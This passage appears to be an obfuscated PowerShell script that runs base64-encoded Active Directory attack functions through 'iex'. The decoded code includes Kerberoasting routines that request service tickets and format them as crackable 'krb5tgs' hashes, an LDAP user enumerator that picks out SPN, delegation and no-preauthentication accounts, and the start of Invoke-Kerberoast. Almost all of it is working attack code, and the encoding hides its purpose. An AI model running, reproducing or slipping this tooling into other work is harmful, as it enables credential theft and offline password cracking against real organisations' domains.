ydHlWYWx1ZUNvbGxlY3Rpb25dKSB7CiAgICAgICAgICAgICAgICAkVXNlclNQTiA9ICRVc2VyU1BOWzBdCiAgICAgICAgICAgIH0KICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICRUaWNrZXQgPSBOZXctT2JqZWN0IFN5c3RlbS5JZGVudGl0eU1vZGVsLlRva2Vucy5LZXJiZXJvc1JlcXVlc3RvclNlY3VyaXR5VG9rZW4gLUFyZ3VtZW50TGlzdCAkVXNlclNQTgogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIHsKICAgICAgICAgICAgICAgIFdyaXRlLVdhcm5pbmcgIltHZXQtRG9tYWluU1BOVGlja2V0XSBFcnJvciByZXF1ZXN0aW5nIHRpY2tldCBmb3IgU1BOICckVXNlclNQTicgZnJvbSB1c2VyICckRGlzdGluZ3Vpc2hlZE5hbWUnIDogJF8iCiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRUaWNrZXQpIHsKICAgICAgICAgICAgICAgICRUaWNrZXRCeXRlU3RyZWFtID0gJFRpY2tldC5HZXRSZXF1ZXN0KCkKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJFRpY2tldEJ5dGVTdHJlYW0pIHsKICAgICAgICAgICAgICAgICRPdXQgPSBOZXctT2JqZWN0IFBTT2JqZWN0CiAgICAgICAgICAgICAgICAkVGlja2V0SGV4U3RyZWFtID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkVGlja2V0Qnl0ZVN0cmVhbSkgLXJlcGxhY2UgJy0nCiAgICAgICAgICAgICAgICBpZigkVGlja2V0SGV4U3RyZWFtIC1tYXRjaCAnYTM4Mi4uLi4zMDgyLi4uLkEwMDMwMjAxKD88RXR5cGVMZW4+Li4pQTEuezEsNH0uLi4uLi4uQTI4Mig/PENpcGhlclRleHRMZW4+Li4uLikuLi4uLi4uLig/PERhdGFUb0VuZD4uKyknKSB7CiAgICAgICAgICAgICAgICAgICAgJEV0eXBlID0gW0NvbnZlcnRdOjpUb0J5dGUoICRNYXRjaGVzLkV0eXBlTGVuLCAxNiApCiAgICAgICAgICAgICAgICAgICAgJENpcGhlclRleHRMZW4gPSBbQ29udmVydF06OlRvVUludDMyKCRNYXRjaGVzLkNpcGhlclRleHRMZW4sIDE2KS00CiAgICAgICAgICAgICAgICAgICAgJENpcGhlclRleHQgPSAkTWF0Y2hlcy5EYXRhVG9FbmQuU3Vic3RyaW5nKDAsJENpcGhlclRleHRMZW4qMikKICAgICAgICAgICAgICAgICAgICBpZigkTWF0Y2hlcy5EYXRhVG9FbmQuU3Vic3RyaW5nKCRDaXBoZXJUZXh0TGVuKjIsIDQpIC1uZSAnQTQ4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Ehhc2hGcm9tQVBSZXEiCiAgICAgICAgICAgICAgICAgICAgJEhhc2ggPSAkbnVsbAogICAgICAgICAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnVGlja2V0Qnl0ZUhleFN0cmVhbScgKFtCaXRjb252ZXJ0ZXJdOjpUb1N0cmluZygkVGlja2V0Qnl0ZVN0cmVhbSkuUmVwbGFjZSgnLScsJycpKQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYoJEhhc2gpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJE91dHB1dEZvcm1hdCAtbWF0Y2ggJ0pvaG4nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRIYXNoRm9ybWF0ID0gImAka3JiNXRnc2AkJCgkVGlja2V0LlNlcnZpY2VQcmluY2lwYWxOYW1lKTokSGFzaCIKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkRGlzdGluZ3Vpc2hlZE5hbWUgLW5lICdVTktOT1dOJykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFVzZXJEb21haW4gPSAkRGlzdGluZ3Vpc2hlZE5hbWUuU3ViU3RyaW5nKCREaXN0aW5ndWlzaGVkTmFtZS5JbmRleE9mKCdEQz0nKSkgLXJlcGxhY2UgJ0RDPScsJycgLXJlcGxhY2UgJywnLCcuJwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFVzZXJEb21haW4gPSAnVU5LTk9XTicKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkSGFzaEZvcm1hdCA9ICJgJGtyYjV0Z3NgJCQoJEV0eXBlKWAkKiRTYW1BY2NvdW50TmFtZWAkJFVzZXJEb21haW5gJCQoJFRpY2tldC5TZXJ2aWNlUHJpbmNpcGFsTmFtZSkqYCQkSGFzaCIKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdIYXNoJyAkSGFzaEZvcm1hdAogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdTYW1BY2NvdW50TmFtZScgJFNhbUFjY291bnROYW1lCiAgICAgICAgICAgICAgICAkT3V0IHwgQWRkLU1lbWJlciBOb3RlcHJvcGVydHkgJ0Rpc3Rpbmd1aXNoZWROYW1lJyAkRGlzdGluZ3Vpc2hlZE5hbWUKICAgICAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnU2VydmljZVByaW5jaXBhbE5hbWUnICRUaWNrZXQuU2VydmljZVByaW5jaXBhbE5hbWUKICAgICAgICAgICAgICAgICRPdXQuUFNPYmplY3QuVHlwZU5hbWVzLkluc2VydCgwLCAnUG93ZXJWaWV3LlNQTlRpY2tldCcpCiAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgJE91dAogICAgICAgICAgICB9CiAgICAgICAgICAgIFN0YXJ0LVNsZWVwIC1TZWNvbmRzICRSYW5kTm8uTmV4dCgoMS0kSml0dGVyKSokRGVsYXksICgxKyRKaXR0ZXIpKiREZWxheSkKICAgICAgICB9CiAgICB9CiAgICBFTkQgewogICAgICAgIGlmICgkTG9nb25Ub2tlbikgewogICAgICAgICAgICBJbnZva2UtUmV2ZXJ0VG9TZWxmIC1Ub2tlbkhhbmRsZSAkTG9nb25Ub2tlbgogICAgICAgIH0KICAgIH0KfQo=")))
iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("ZnVuY3Rpb24gR2V0LURvbWFpblVzZXIgewogICAgW0RpYWdub3N0aWNzLkNvZGVBbmFseXNpcy5TdXBwcmVzc01lc3NhZ2VBdHRyaWJ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cnVzdGVkVG9BdXRoLAogICAgICAgIFtBbGlhcygnS2VyYmVyb3NQcmVhdXRoTm90UmVxdWlyZWQnLCAnTm9QcmVhdXRoJyldCiAgICAgICAgW1N3aXRjaF0KICAgICAgICAkUHJlYXV0aE5vdFJlcXVpcmVkLAogICAgICAgIFtWYWxpZGF0ZU5vdE51bGxPckVtcHR5KCldCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkRG9tYWluLAogICAgICAgIFtWYWxpZGF0ZU5vdE51bGxPckVtcHR5KCldCiAgICAgICAgW0FsaWFzKCdGaWx0ZXInKV0KICAgICAgICBbU3RyaW5nXQogICAgICAgICRMREFQRmlsdGVyLAogICAgICAgIFtWYWxpZGF0ZU5vdE51bGxPckVtcHR5KCldCiAgICAgICAgW1N0cmluZ1tdXQogICAgICAgICRQcm9wZXJ0aWVzLAogICAgICAgIFtWYWxpZGF0ZU5vdE51bGxPckVtcHR5KCldCiAgICAgICAgW0FsaWFzKCdBRFNQYXRoJyldCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkU2VhcmNoQmFzZSwKICAgICAgICBbVmFsaWRhdGVOb3ROdWxsT3JFbXB0eSgpXQogICAgICAgIFtBbGlhcygnRG9tYWluQ29udHJvbGxlcicpXQogICAgICAgIFtTdHJpbmddCiAgICAgICAgJFNlcnZlciwKICAgICAgICBbVmFsaWRhdGVTZXQoJ0Jhc2UnLCAnT25lTGV2ZWwnLCAnU3VidHJlZScpXQogICAgICAgIFtTdHJpbmddCiAgICAgICAgJFNlYXJjaFNjb3BlID0gJ1N1YnRyZWUnLAogICAgICAgIFtWYWxpZGF0ZVJhbmdlKDEsIDEwMDAwKV0KICAgICAgICBbSW50XQogICAgICAgICRSZXN1bHRQYWdlU2l6ZSA9IDIwMCwKICAgICAgICBbVmFsaWRhdGVSYW5nZSgxLCAxMDAwMCldCiAgICAgICAgW0ludF0KICAgICAgICAkU2VydmVyVGltZUxpbWl0LAogICAgICAgIFtWYWxpZGF0ZVNldCgnRGFjbCcs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Y2UgPSAkXy5SZXBsYWNlKCcoJywgJ1wyOCcpLlJlcGxhY2UoJyknLCAnXDI5JykKICAgICAgICAgICAgICAgIGlmICgkSWRlbnRpdHlJbnN0YW5jZSAtbWF0Y2ggJ15TLTEtJykgewogICAgICAgICAgICAgICAgICAgICRJZGVudGl0eUZpbHRlciArPSAiKG9iamVjdHNpZD0kSWRlbnRpdHlJbnN0YW5jZSkiCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlaWYgKCRJZGVudGl0eUluc3RhbmNlIC1tYXRjaCAnXkNOPScpIHsKICAgICAgICAgICAgICAgICAgICAkSWRlbnRpdHlGaWx0ZXIgKz0gIihkaXN0aW5ndWlzaGVkbmFtZT0kSWRlbnRpdHlJbnN0YW5jZSkiCiAgICAgICAgICAgICAgICAgICAgaWYgKCgtbm90ICRQU0JvdW5kUGFyYW1ldGVyc1snRG9tYWluJ10pIC1hbmQgKC1ub3QgJFBTQm91bmRQYXJhbWV0ZXJzWydTZWFyY2hCYXNlJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRJZGVudGl0eURvbWFpbiA9ICRJZGVudGl0eUluc3RhbmNlLlN1YlN0cmluZygkSWRlbnRpdHlJbnN0YW5jZS5JbmRleE9mKCdEQz0nKSkgLXJlcGxhY2UgJ0RDPScsJycgLXJlcGxhY2UgJywnLCcuJwogICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJbR2V0LURvbWFpblVzZXJdIEV4dHJhY3RlZCBkb21haW4gJyRJZGVudGl0eURvbWFpbicgZnJvbSAnJElkZW50aXR5SW5zdGFuY2UnIgogICAgICAgICAgICAgICAgICAgICAgICAkU2VhcmNoZXJBcmd1bWVudHNbJ0RvbWFpbiddID0gJElkZW50aXR5RG9tYWluCiAgICAgICAgICAgICAgICAgICAgICAgICRVc2VyU2VhcmNoZXIgPSBHZXQtRG9tYWluU2VhcmNoZXIgQFNlYXJjaGVyQXJndW1lbnRzCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgtbm90ICRVc2VyU2VhcmNoZXIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVdhcm5pbmcgIltHZXQtRG9tYWluVXNlcl0gVW5hYmxlIHRvIHJldHJpZXZlIGRvbWFpbiBzZWFyY2hlciBmb3IgJyRJZGVudGl0eURvbWFpbiciCiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlaWYgKCRJZGVudGl0eUluc3RhbmNlIC1pbWF0Y2ggJ15bMC05QS1GXXs4fS0oWzAtOUEtRl17NH0tKXszfVswLTlBLUZdezEyfSQnKSB7CiAgICAgICAgICAgICAgICAgICAgJEd1aWRCeXRlU3RyaW5nID0gKChbR3VpZF0kSWRlbnRpdHlJbnN0YW5jZSkuVG9CeXRlQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJ1wnICsgJF8uVG9TdHJpbmcoJ1gyJykgfSkgLWpvaW4gJycKICAgICAgICAgICAgICAgICAgICAkSWRlbnRpdHlGaWx0ZXIgKz0gIihvYmplY3RndWlkPSRHdWlkQnl0ZVN0cmluZykiCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlaWYgKCRJZGVudGl0eUluc3RhbmNlLkNvbnRhaW5zKCdcJykpIHsKICAgICAgICAgICAgICAgICAgICAkQ29udmVydGVkSWRlbnRpdHlJbnN0YW5jZSA9ICRJZGVudGl0eUluc3RhbmNlLlJlcGxhY2UoJ1wyOCcsICcoJykuUmVwbGFjZSgnXDI5JywgJyknKSB8IENvbnZlcnQtQUROYW1lIC1PdXRwdXRUeXBlIENhbm9uaWNhbAogICAgICAgICAgICAgICAgICAgIGlmICgkQ29udmVydGVkSWRlbnRpdHlJbnN0YW5jZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkVXNlckRvbWFpbiA9ICRDb252ZXJ0ZWRJZGVudGl0eUluc3RhbmNlLlN1YlN0cmluZygwLCAkQ29udmVydGVkSWRlbnRpdHlJbnN0YW5jZS5JbmRleE9mKCcvJykpCiAgICAgICAgICAgICAgICAgICAgICAgICRVc2VyTmFtZSA9ICRJZGVudGl0eUluc3RhbmNlLlNwbGl0KCdcJylbMV0KICAgICAgICAgICAgICAgICAgICAgICAgJElkZW50aXR5RmlsdGVyICs9ICIoc2FtQWNjb3VudE5hbWU9JFVzZXJOYW1lKSIKICAgICAgICAgICAgICAgICAgICAgICAgJFNlYXJjaGVyQXJndW1lbnRzWydEb21haW4nXSA9ICRVc2VyRG9tYWluCiAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIltHZXQtRG9tYWluVXNlcl0gRXh0cmFjdGVkIGRvbWFpbiAnJFVzZXJEb21haW4nIGZyb20gJyRJZGVudGl0eUluc3RhbmNlJyIKICAgICAgICAgICAgICAgICAgICAgICAgJFVzZXJTZWFyY2hlciA9IEdldC1Eb21haW5TZWFyY2hlciBAU2VhcmNoZXJBcmd1bWVudHMKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkSWRlbnRpdHlGaWx0ZXIgKz0gIihzYW1BY2NvdW50TmFtZT0kSWRlbnRpdHlJbnN0YW5jZSkiCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRJZGVudGl0eUZpbHRlciAtYW5kICgkSWRlbnRpdHlGaWx0ZXIuVHJpbSgpIC1uZSAnJykgKSB7CiAgICAgICAgICAgICAgICAkRmlsdGVyICs9ICIofCRJZGVudGl0eUZpbHRlcikiCiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRQU0JvdW5kUGFyYW1ldGVyc1snU1BOJ10pIHsKICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgJ1tHZXQtRG9tYWluVXNlcl0gU2VhcmNoaW5nIGZvciBub24tbnVsbCBzZXJ2aWNlIHByaW5jaXBhbCBuYW1lcycKICAgICAgICAgICAgICAgICRGaWx0ZXIgKz0gJyhzZXJ2aWNlUHJpbmNpcGFsTmFtZT0qKScKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJFBTQm91bmRQYXJhbWV0ZXJzWydBbGxvd0RlbGVnYXRpb24nXSkgewogICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAnW0dldC1Eb21haW5Vc2VyXSBTZWFyY2hpbmcgZm9yIHVzZXJzIHdobyBjYW4gYmUgZGVsZWdhdGVkJwogICAgICAgICAgICAgICAgJEZpbHRlciArPSAnKCEodXNlckFjY291bnRDb250cm9sOjEuMi44NDAuMTEzNTU2LjEuNC44MDM6PTEwNDg1NzQpKScKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJFBTQm91bmRQYXJhbWV0ZXJzWydEaXNhbGxvd0RlbGVnYXRpb24nXSkgewogICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAnW0dldC1Eb21haW5Vc2VyXSBTZWFyY2hpbmcgZm9yIHVzZXJzIHdobyBhcmUgc2Vuc2l0aXZlIGFuZCBub3QgdHJ1c3RlZCBmb3IgZGVsZWdhdGlvbicKICAgICAgICAgICAgICAgICRGaWx0ZXIgKz0gJyh1c2VyQWNjb3VudENvbnRyb2w6MS4yLjg0MC4xMTM1NTYuMS40LjgwMzo9MTA0ODU3NCknCiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRQU0JvdW5kUGFyYW1ldGVyc1snQWRtaW5Db3VudCddKSB7CiAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICdbR2V0LURvbWFpblVzZXJdIFNlYXJjaGluZyBmb3IgYWRtaW5Db3VudD0xJwogICAgICAgICAgICAgICAgJEZpbHRlciArPSAnKGFkbWluY291bnQ9MSknCiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRQU0JvdW5kUGFyYW1ldGVyc1snVHJ1c3RlZFRvQXV0aCddKSB7CiAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICdbR2V0LURvbWFpblVzZXJdIFNlYXJjaGluZyBmb3IgdXNlcnMgdGhhdCBhcmUgdHJ1c3RlZCB0byBhdXRoZW50aWNhdGUgZm9yIG90aGVyIHByaW5jaXBhbHMnCiAgICAgICAgICAgICAgICAkRmlsdGVyICs9ICcobXNkcy1hbGxvd2VkdG9kZWxlZ2F0ZXRvPSopJwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkUFNCb3VuZFBhcmFtZXRlcnNbJ1ByZWF1dGhOb3RSZXF1aXJlZCddKSB7CiAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICdbR2V0LURvbWFpblVzZXJdIFNlYXJjaGluZyBmb3IgdXNlciBhY2NvdW50cyB0aGF0IGRvIG5vdCByZXF1aXJlIGtlcmJlcm9zIHByZWF1dGhlbnRpY2F0ZScKICAgICAgICAgICAgICAgICRGaWx0ZXIgKz0gJyh1c2VyQWNjb3VudENvbnRyb2w6MS4yLjg0MC4xMTM1NTYuMS40LjgwMzo9NDE5NDMwNCknCiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRQU0JvdW5kUGFyYW1ldGVyc1snTERBUEZpbHRlciddKSB7CiAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJbR2V0LURvbWFpblVzZXJdIFVzaW5nIGFkZGl0aW9uYWwgTERBUCBmaWx0ZXI6ICRMREFQRmlsdGVyIgogICAgICAgICAgICAgICAgJEZpbHRlciArPSAiJExEQVBGaWx0ZXIiCiAgICAgICAgICAgIH0KICAgICAgICAgICAgJFVBQ0ZpbHRlciB8IFdoZXJlLU9iamVjdCB7JF99IHwgRm9yRWFjaC1PYmplY3QgewogICAgICAgICAgICAgICAgaWYgKCRfIC1tYXRjaCAnTk9UXy4qJykgewogICAgICAgICAgICAgICAgICAgICRVQUNGaWVsZCA9ICRfLlN1YnN0cmluZyg0KQogICAgICAgICAgICAgICAgICAgICRVQUNWYWx1ZSA9IFtJbnRdKCRVQUNFbnVtOjokVUFDRmllbGQpCiAgICAgICAgICAgICAgICAgICAgJEZpbHRlciArPSAiKCEodXNlckFjY291bnRDb250cm9sOjEuMi44NDAuMTEzNTU2LjEuNC44MDM6PSRVQUNWYWx1ZSkpIgogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJFVBQ1ZhbHVlID0gW0ludF0oJFVBQ0VudW06OiRfKQogICAgICAgICAgICAgICAgICAgICRGaWx0ZXIgKz0gIih1c2VyQWNjb3VudENvbnRyb2w6MS4yLjg0MC4xMTM1NTYuMS40LjgwMzo9JFVBQ1ZhbHVlKSIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkVXNlclNlYXJjaGVyLmZpbHRlciA9ICIoJihzYW1BY2NvdW50VHlwZT04MDUzMDYzNjgpJEZpbHRlcikiCiAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIltHZXQtRG9tYWluVXNlcl0gZmlsdGVyIHN0cmluZzogJCgkVXNlclNlYXJjaGVyLmZpbHRlcikiCiAgICAgICAgICAgIGlmICgkUFNCb3VuZFBhcmFtZXRlcnNbJ0ZpbmRPbmUnXSkgeyAkUmVzdWx0cyA9ICRVc2VyU2VhcmNoZXIuRmluZE9uZSgpIH0KICAgICAgICAgICAgZWxzZSB7ICRSZXN1bHRzID0gJFVzZXJTZWFyY2hlci5GaW5kQWxsKCkgfQogICAgICAgICAgICAkUmVzdWx0cyB8IFdoZXJlLU9iamVjdCB7JF99IHwgRm9yRWFjaC1PYmplY3QgewogICAgICAgICAgICAgICAgaWYgKCRQU0JvdW5kUGFyYW1ldGVyc1snUmF3J10pIHsKICAgICAgICAgICAgICAgICAgICAkVXNlciA9ICRfCiAgICAgICAgICAgICAgICAgICAgJFVzZXIuUFNPYmplY3QuVHlwZU5hbWVzLkluc2VydCgwLCAnUG93ZXJWaWV3LlVzZXIuUmF3JykKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICRVc2VyID0gQ29udmVydC1MREFQUHJvcGVydHkgLVByb3BlcnRpZXMgJF8uUHJvcGVydGllcwogICAgICAgICAgICAgICAgICAgICRVc2VyLlBTT2JqZWN0LlR5cGVOYW1lcy5JbnNlcnQoMCwgJ1Bvd2VyVmlldy5Vc2VyJykKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRVc2VyCiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRSZXN1bHRzKSB7CiAgICAgICAgICAgICAgICB0cnkgeyAkUmVzdWx0cy5kaXNwb3NlKCkgfQogICAgICAgICAgICAgICAgY2F0Y2ggewogICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIltHZXQtRG9tYWluVXNlcl0gRXJyb3IgZGlzcG9zaW5nIG9mIHRoZSBSZXN1bHRzIG9iamVjdDogJF8iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJFVzZXJTZWFyY2hlci5kaXNwb3NlKCkKICAgICAgICB9CiAgICB9Cn0K")))
iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("ZnVuY3Rpb24gSW52b2tlLUtlcmJlcm9hc3QgewogICAgW0RpYWdub3N0aWNzLkNvZGVBbmFseXNpcy5TdXBwcmVzc01lc3NhZ2VBdHRyaWJ1dGUoJ1BTU2hvdWxkUHJvY2VzcycsICcnKV0KICAgIFtPdXRwdXRUeXBlKCdQb3dlclZpZXcuU1BOVGlja2V0JyldCiAgICBbQ21kbGV0QmluZGluZygpXQogICAgUGFyYW0oCiAgICAgICAgW1BhcmFtZXRlcihQb3NpdGlvbiA9IDAsIFZhbHVlRnJvbVBpcGVsaW5lID0gJFRydWUsIFZhbHVlRnJvbVBpcGVsaW5lQnlQcm9wZXJ0eU5hbWUgPSAkVHJ1ZSldCiAgICAgICAgW0FsaWFzKCdEaXN0aW5ndWlzaGVkTmFtZScsICdTYW1BY2NvdW50TmFtZScsICdOYW1lJywgJ01lbWJlckRpc3Rpbmd1aXNoZWROYW1lJywgJ01lbWJlck5hbWUnKV0KICAgICAgICBbU3RyaW5nW11dCiAgICAgICAgJElkZW50aXR5LAogICAgICAgIFtWYWxpZGF0ZU5vdE51bGxPckVtcHR5KCldCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkRG9tYWluLAogICAgICAgIFtWYWxpZGF0ZU5vdE51bGxPckVtcHR5KCldCiAgICAgICAgW0FsaWFzKCdGaWx0ZXInKV0KICAgICAgICBbU3RyaW5nXQogICAgICAgICRMREFQRmlsdGVyLAogICAgICAgIFtWYWxpZGF0ZU5vdE51bGxPckVtcHR5KCldCiAgICAgICAgW0FsaWFzKCdBRFNQYXRoJyldCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkU2VhcmNoQmFzZSwKICAgICAgICBbVmFsaWRhdGVOb3ROdWxsT3JFbXB0eSgpXQogICAgICAgIFtBbGlhcygnRG9tYWluQ29udHJvbGxlcicpXQogICAgICAgIFtTdHJpbmddCiAgICAgICAgJFNlcnZlciwKICAgICAgICBbVmFsaWRhdGVTZXQoJ0Jhc2UnLCAnT25lTGV2ZWwnLCAnU3VidHJlZScpXQogICAgICAgIFtTdHJpbmddCiAgICAgICAgJFNlYXJjaFNjb3BlID0gJ1N1YnRyZWUnLAogICAgICAgIFtWYWxpZGF0ZVJhbmdlKDEsIDEwMDAwKV0KICAgICAgICBbSW50XQogICAgICAgICRSZXN1bHRQYWdlU2l6ZSA9IDIwMCwKICAgICAgICBbVmFsaWRhdGVSYW5nZSgxLCAxMDAwMCldCiAgICAgICAgW0ludF0KICAgICAgICAkU2VydmVyVGltZUxpbWl0LAogICAgICAgIFtTd2l0Y2hdCiAgICAgICAgJFRvbWJzdG9uZSwKICAgICAgICBbVmFsaWRhdGVSYW5nZSgwLDEwMDAwKV0KICAgICAgICBbSW50XQogICAgICAgICREZWx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